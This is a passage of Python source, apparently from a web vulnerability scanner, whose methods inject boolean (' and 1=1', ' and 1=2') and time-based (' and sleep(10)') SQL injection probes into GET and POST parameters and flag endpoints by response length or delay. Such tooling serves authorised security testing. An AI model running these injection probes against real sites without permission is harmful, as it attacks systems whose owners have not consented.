                    get_resp2 = requests.get(url2,
                                             headers=self.header,
                                             proxies=self.proxy_data,
                                             timeout=10)
                    get_resp_default = requests.get(url_default,
                                                    headers=self.header,
                                                    proxies=self.proxy_data,
                                                    timeout=10)
                get_resp1_len = len(get_resp1.text)
                get_resp2_len = len(get_resp2.text)
                get_resp_default = len(get_resp_default.text)

                # 首先做一个判断 判断这两者长度是否相投 正常的 和 1=1的
                if (get_resp1_len == get_resp_default) and (get_resp2_len !=
                                                            get_resp_default):
                    #print("疑似存在sql布尔盲注")
                    self.boolen = 1
                    DatabaseType(self.projectTag).insertSQLInfoIntoDB(
                        self.api_id, self.from_js, url_default, get_resp1.text)
            except Exception as e:
                self.log.error("[Err] %s" % e)

        if method == "post":
            post_json1 = {}
            post_json2 = {}
            post_json_default = {}

            posts = datas["post"]
            post_datas1 = []
            post_datas2 = []
            post_datas_default = []

            for post in posts:
                # or 1=1
                post_name1 = post["name"]
                if post_name1 == self.name:
                    post_default = post['default'] + " and 1=1"
                else:
                    post_default = post['default']
                post_datas1.append(post_name1 + "=" + post_default)
                post_json1[post_name1] = post_default  # json 类型的数据

                # or 1=2
                post_name2 = post["name"]
                if post_name2 == self.name:
                    post_default = post['default'] + " and 1=2"
                else:
                    post_default = post['default']
                post_datas2.append(post_name1 + "=" + post_default)
                post_json2[post_name2] = post_default  # json 类型的数据

                # default
                post_name_default = post["name"]
                if post_name_default == self.name:
                    post_default = post['default']
                else:
                    post_default = post['default']
                post_datas_default.append(post_name1 + "=" + post_default)
                post_json_default[
                    post_name_default] = post_default  # json 类型的数据

            post_data1 = "&".join(post_datas1)
            # print(post_data1)
            # print(post_json1) # json数据

            post_data2 = "&".join(post_datas2)
            # print(post_data2)
            # print(post_json2) # json数据

            post_data_default = "&".join(post_datas_default)
            # print(post_data_default)
            # print(post_json_default) # json数据
            try:
                if sslFlag == 1:
                    post_resp = requests.post(self.path,
                                              header=self.header,
                                              proxies=self.proxy_data,
                                              data=post_data1,
                                              verify=False)
                else:
                    post_resp = requests.post(self.path,
                                              header=self.header,
                                              proxies=self.proxy_data,
                                              data=post_data1)
                post_code = post_resp.status_code
                # 如果状态吗是 414
                if post_code == '415':

                    if self.options.cookie != None:
                        header = {
                            'User-Agent':
                            random.choice(self.UserAgent),
                            'Content-Type':
                            'application/json',
                            'Accept':
                            'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                            'Cookie':
                            self.options.cookie,
                            self.options.head.split(':')[0]:
                            self.options.head.split(':')[1]
                        }
                    else:
                        header = {
                            'User-Agent':
                            random.choice(self.UserAgent),
                            'Content-Type':
                            'application/json',
                            'Accept':
                            'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                            self.options.head.split(':')[0]:
                            self.options.head.split(':')[1]
                        }
                    if sslFlag == 1:
                        post_json_len1 = len(
                            requests.post(self.path,
                                          headers=header,
                                          proxies=self.proxy_data,
                                          data=post_json1,
                                          verify=False).text)
                        post_json_len2 = len(
                            requests.post(self.path,
                                          headers=header,
                                          proxies=self.proxy_data,
                                          data=post_json2,
                                          verify=False).text)
                        post_json_defaule_len = len(
                            requests.post(self.path,
                                          headers=header,
                                          proxies=self.proxy_data,
                                          data=post_json_default,
                                          verify=False).text)
                        post_resp_code = requests.post(
                            self.path,
                            headers=header,
                            proxies=self.proxy_data,
                            data=post_json1,
                            verify=False).status_code
                        post_resp_text = requests.post(self.path,
                                                       headers=header,
                                                       proxies=self.proxy_data,
                                                       data=post_json1,
                                                       verify=False).text
                    else:
                        post_json_len1 = len(
                            requests.post(self.path,
                                          headers=header,
                                          proxies=self.proxy_data,
                                          data=post_json1).text)
                        post_json_len2 = len(
                            requests.post(self.path,
                                          headers=header,
                                          proxies=self.proxy_data,
                                          data=post_json2).text)
                        post_json_defaule_len = len(
                            requests.post(self.path,
                                          headers=header,
                                          proxies=self.proxy_data,
                                          data=post_json_default).text)
                        post_resp_code = requests.post(
                            self.path,
                            headers=header,
                            proxies=self.proxy_data,
                            data=post_json1).status_code
                        post_resp_text = requests.post(self.path,
                                                       headers=header,
                                                       proxies=self.proxy_data,
                                                       data=post_json1).text
                    if post_resp_code == '415':
                        pass
                    else:
                        if (post_json_len1 == post_json_defaule_len) and (
                                post_json_len2 != post_json_defaule_len):
                            #print("疑似存在布尔盲注")
                            self.boolen = 1
                            try:
                                DatabaseType(
                                    self.projectTag).insertSQLInfoIntoDB(
                                        self.api_id, self.from_js,
                                        post_json_default, post_resp_text)
                            except Exception as e:
                                self.log.error("[Err] %s" % e)
                else:
                    if sslFlag == 1:
                        post_len1 = len(
                            requests.post(self.path,
                                          headers=self.header,
                                          data=post_data1,
                                          proxies=self.proxy_data,
                                          verify=False).text)
                        post_len2 = len(
                            requests.post(self.path,
                                          headers=self.header,
                                          data=post_data2,
                                          proxies=self.proxy_data,
                                          verify=False).text)
                        post_len_default = len(
                            requests.post(self.path,
                                          headers=self.header,
                                          data=post_data_default,
                                          proxies=self.proxy_data,
                                          verify=False).text)
                    else:
                        post_len1 = len(
                            requests.post(self.path,
                                          headers=self.header,
                                          data=post_data1,
                                          proxies=self.proxy_data).text)
                        post_len2 = len(
                            requests.post(self.path,
                                          headers=self.header,
                                          data=post_data2,
                                          proxies=self.proxy_data).text)
                        post_len_default = len(
                            requests.post(self.path,
                                          headers=self.header,
                                          data=post_data_default,
                                          proxies=self.proxy_data).text)
                    if (post_len1 == post_len_default) and (post_len2 !=
                                                            post_len_default):
                        #print("疑似存在布尔盲注")
                        self.boolen = 1
                        try:
                            DatabaseType(self.projectTag).insertSQLInfoIntoDB(
                                self.api_id, self.from_js, post_data_default,
                                post_resp.text)
                        except Exception as e:
                            self.log.error("[Err] %s" % e)

            except Exception as e:
                self.log.error("[Err] %s" % e)
Exemple #30
0
    def timeSQLInjction(self):
        sslFlag = int(self.options.ssl_flag)
        datas = json.loads(self.option)
        method = datas['type']
        if sslFlag == 1:
            default_time = requests.get(self.path,
                                        headers=self.header,
                                        proxies=self.proxy_data,
                                        verify=False).elapsed.seconds
        else:
            default_time = requests.get(
                self.path, headers=self.header,
                proxies=self.proxy_data).elapsed.seconds
        # get的请求
        if method == "get":
            gets = datas["get"]
            get_datas = []
            # 对options中的参数进行遍历,然后再进行一个组合
            #print(gets)
            for get in gets:
                get_name = get["name"]
                #print(get_name)
                # 如果参数是传入的参数 对default 进行处理
                if get_name == self.name:
                    # 加入两个引号促使报错
                    get_default = get['default'] + " and sleep(10)"
                else:
                    get_default = get["default"]
                get_datas.append(get_name + "=" + get_default)
            url = self.path + "?" + "&".join(get_datas)  # url
            #print(url)
            # start_time = time.time()
            if sslFlag == 1:
                get_resp = requests.get(url,
                                        headers=self.header,
                                        proxies=self.proxy_data,
                                        verify=False)
            else:
                get_resp = requests.get(url,
                                        headers=self.header,
                                        proxies=self.proxy_data)
            # 获取响应时间
            sec = get_resp.elapsed.seconds
            #print(sec)
            if (default_time < 2) and (sec >= 9):
                #print("检测到sql时间盲注")
                self.time = 1
                DatabaseType(self.projectTag).insertSQLInfoIntoDB(
                    self.api_id, self.from_js, quote(url), get_resp.text)

        if method == "post":
            post_json = {}
            posts = datas["post"]
            post_datas = []
            for post in posts:
                post_name = post["name"]
                if post_name == self.name:
                    post_default = post['default'] + " and sleep(10)"
                else:
                    post_default = post['default']
                post_datas.append(post_name + "=" + post_default)
                post_json[post_name] = post_default  # json 类型的数据
            post_data = "&".join(post_datas)
            #print(post_json)
            #print(post_data)
            try:
                if sslFlag == 1:
                    post_resp = requests.post(self.path,
                                              data=post_data,
                                              proxies=self.proxy_data,
                                              verify=False)
                else:
                    post_resp = requests.post(self.path,
                                              data=post_data,
                                              proxies=self.proxy_data)
                code = post_resp.status_code
                sec = post_resp.elapsed.seconds

                if code == '415':
                    if self.options.cookie != None:
                        header = {
                            'User-Agent':
                            random.choice(self.UserAgent),
                            'Content-Type':
                            'application/json',
                            'Accept':
                            'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                            'Cookie':
                            self.options.cookie,
                            self.options.head.split(':')[0]:
                            self.options.head.split(':')[1]
                        }
                    else:
                        header = {
                            'User-Agent':
                            random.choice(self.UserAgent),
                            'Content-Type':
                            'application/json',
                            'Accept':
                            'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                            self.options.head.split(':')[0]:
                            self.options.head.split(':')[1]
                        }
                    if sslFlag == 1:
                        post_json_resp = requests.post(self.path,
                                                       headers=header,
                                                       data=post_json,
                                                       proxies=self.proxy_data,
                                                       verify=False)
                    else:
                        post_json_resp = requests.post(self.path,
                                                       headers=header,
                                                       data=post_json,
                                                       proxies=self.proxy_data)
                    json_code = post_json_resp.status_code
                    json_sec = post_json_resp.elapsed.seconds
                    if json_code == '415':
                        pass
                    elif default_time < 2 and json_sec > 9:
                        #print("疑似存在 sql时间盲注")
                        self.time = 1
                        try:
                            DatabaseType(self.projectTag).insertSQLInfoIntoDB(
                                self.api_id, self.from_js, post_json,
                                post_json_resp.text)
                        except Exception as e:
                            self.log.error("[Err] %s" % e)

                else:
                    if default_time < 2 and sec > 9:
                        #print("疑似存在 sql时间盲注")
                        self.time = 1
                        try:
                            DatabaseType(self.projectTag).insertSQLInfoIntoDB(
                                self.api_id, self.from_js, post_data,
                                post_resp.text)
                        except Exception as e:
                            self.log.error("[Err] %s" % e)

            except Exception as e:
                self.log.error("[Err] %s" % e)